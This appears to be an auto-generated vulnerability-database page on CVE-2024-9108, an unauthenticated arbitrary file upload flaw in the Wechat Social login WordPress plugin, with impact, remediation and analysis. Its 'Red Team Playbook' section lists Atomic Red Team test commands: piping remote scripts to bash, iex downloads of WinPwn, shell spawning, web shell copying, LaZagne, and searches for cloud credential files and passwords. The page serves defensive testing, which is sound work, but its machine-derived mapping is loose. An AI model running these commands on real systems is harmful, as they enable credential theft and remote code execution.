CVE-2024-9108
Overview
This vulnerability is an arbitrary file upload flaw caused by insufficient validation of file types in the 'convert_remoteimage_to_local' function within the xunhuweb Wechat Social login WordPress plugin. The affected component improperly processes remote image URLs, allowing untrusted input to bypass file type restrictions. This issue exists in versions up to and including 1.3.0 of the plugin, specifically in the handling of remote image conversion to local files.
Vulnerability Description
The Wechat Social login plugin for WordPress is vulnerable to arbitrary file uploads due to insufficient file type validation in the 'convert_remoteimage_to_local' function in versions up to, and including, 1.3.0. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
Impact
An unauthenticated attacker can exploit this vulnerability to upload arbitrary files, including web shells or malicious scripts, to the server hosting the WordPress site. This can lead to remote code execution, full site compromise, data theft, or service disruption. The attack requires no user interaction and can be performed remotely over the network (CVSS vector: AV:N/AC:L/PR:N/UI:N), making it highly critical for affected deployments. Successful exploitation undermines site integrity and confidentiality, potentially affecting business operations and user data security.
Solution
Users should upgrade the xunhuweb Wechat Social login plugin to a version later than 1.3.0 where the arbitrary file upload vulnerability is patched. Detailed patch instructions and version updates are available in the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/06881386-3c92-426b-948d-58e8a8bee624. Administrators are advised to verify plugin version and apply the update promptly to mitigate the risk of exploitation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Wechat Social login plugin for WordPress arises from insufficient validation of file types during the execution of the 'convert_remoteimage_to_local' function. This flaw allows unauthenticated users to upload arbitrary files to the server, bypassing standard security measures that typically restrict file uploads to specific types. The lack of stringent checks on the file types being uploaded means that an attacker can exploit this weakness to upload malicious scripts or executables. Once these files are on the server, they can be executed, leading to potential remote code execution, which is a critical security risk for any web application.
The attack vectors associated with this vulnerability are particularly concerning due to the ease with which an attacker can exploit them. An attacker may craft a request to the affected plugin, providing a malicious file disguised as an image. Given that the plugin does not adequately verify the file's content or type, the server accepts the upload. Once the file is successfully uploaded, the attacker can execute it, gaining unauthorized access to the server environment. This could lead to a range of malicious activities, including data exfiltration, defacement of the website, or even full server compromise, depending on the privileges of the web server user.
The real-world impact of this vulnerability is significant, especially for businesses relying on WordPress for their online presence. The potential for remote code execution means that an attacker could gain control over the server, leading to severe consequences such as data breaches, loss of customer trust, and financial repercussions. Organizations may face regulatory fines if sensitive data is compromised, and the costs associated with remediation, including forensic investigations and recovery efforts, can be substantial. Furthermore, the reputational damage from such an incident can have long-lasting effects on customer relationships and brand integrity.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating plugins and themes to their latest versions is crucial, as updates often contain security patches that address known vulnerabilities. Additionally, employing a web application firewall (WAF) can help filter out malicious requests before they reach the server. Implementing strict file upload policies, including validating file types and using secure file storage practices, can further reduce the risk. Organizations should also conduct regular security audits and penetration testing to identify and remediate vulnerabilities proactively.
In conclusion, the vulnerability in the Wechat Social login plugin for WordPress poses a severe threat to web applications by allowing arbitrary file uploads that can lead to remote code execution. The ease of exploitation and the potential for significant business impact underscore the importance of robust security measures. By adopting proactive detection and mitigation strategies, organizations can safeguard their systems against such vulnerabilities and maintain the integrity and security of their online platforms.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-9108 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/06881386-3c92-426b-948d-58e8a8bee624?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/wechat-social-login/trunk/includes/social/class-xh-social-wp-api.php?rev=2111074#L39 |